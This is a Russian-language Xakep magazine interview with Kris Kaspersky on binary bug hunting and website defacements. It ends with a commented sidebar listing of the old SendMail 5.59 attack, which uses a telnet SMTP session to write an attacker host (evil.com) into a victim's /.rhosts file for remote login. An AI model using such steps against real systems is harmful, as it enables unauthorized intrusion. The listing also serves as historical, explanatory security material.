|
Крис Касперски: разговоры о дефейсах
Xakep, номер #047, стр. 047-066-3 К: Меня смущает слово "только". Сфера применения дизассемблера одним этим не исчерпывается. С другой стороны, для анализа ПО еще невероятно полезен отладчик, hex-редактор, разные дамперы, компилятор Си++ для написания плагинов к IDA и утилит для того же тестирования. Еще калькулятор, стопка бумаги и карандаш... Словом, много что нужно! Т: Как ты ищешь баги в этом ПО? Неужели хватает просто взгляда на листинг дизассемблера? К: Конечно, в вырожденных случаях иногда хватает и одного взгляда - достаточно поискать что-то типа gets, это функция чтения строки, которая не проверяет аргументов. В противном случае, анализ требует огромных трудозатрат и буквально тысяч часов времени... Я как раз специализируюсь на анализе программ без исходных текстов - хоть это и на три порядка сложнее, чем анализ сорцов, но последним занята толпа народу, а дизасмят - буквально единицы. Так что тут много троп еще не протоптано. Т: А без дизассемблера можно обойтись? К: В принципе - да. Вот пример классической атаки, основанной на "дырке" в программе SendMail версии 5.59. Суть ее - в возможности указать в качестве получателя сообщения имя файла ".rhosts" (листинг смотри во врезке). Атаку можно считать завершенной. Остается подключиться к удаленному узлу и делать на нем все, что заблагорассудится. Т: Опиши философию дефейса. Лучше большими буквами написать ХУ|/| или внизу "Все козлы!" вторым шрифтом? К: Да какая разница, что писать? Я обычно вывожу единственную фразу Hello, Sailor! Или ту фразу, которую захочет увидеть у себя жертва (лицо, заказавшее тестирование сети). Т: А какие обычно надписи заказываются? К: Обычно типа "Если Вы видите эту надпись, сервер взломан". Дата. Подпись. Один раз заказали "Администратор! От имени хакера, сломавшего наш сайт, сообщаю тебе, что ты уволен нахрен. Твой Директор". Т: Что бы ты в первую очередь посоветовал нашим читателям, продвинутым дефейсерам, и тем, кто на пути к этому? К: Устоять от соблазна совершения незаконных действий :). # Соединяемся с узлом - жертвой по протоколу SMTP через 25 порт telnet victim.com 25 # Указываем в качестве адреса получателя сообщения имя файла "/.rhosts" rcpt to: /.rhosts # Указываем адрес отправителя сообщения mail from: kpnc@aport.ru # Начинаем ввод текста сообщения data # Вводим произвольный текст (он будет проигнорирован) Hello! # Точка завершает ввод сообщения . # Новое сообщение # Указываем в качестве адреса получателя имя файла "/.rhosts" rcpt to: /.rhosts # Указываем адрес отправителя сообщения mail from: kpnc@aport.ru # Начинаем ввод текста сообщения data # Вводим имя собственного хоста или любого другого хоста, к которому есть доступ evil.com # Точка завершает ввод сообщения . # Завершение операции и выход quit |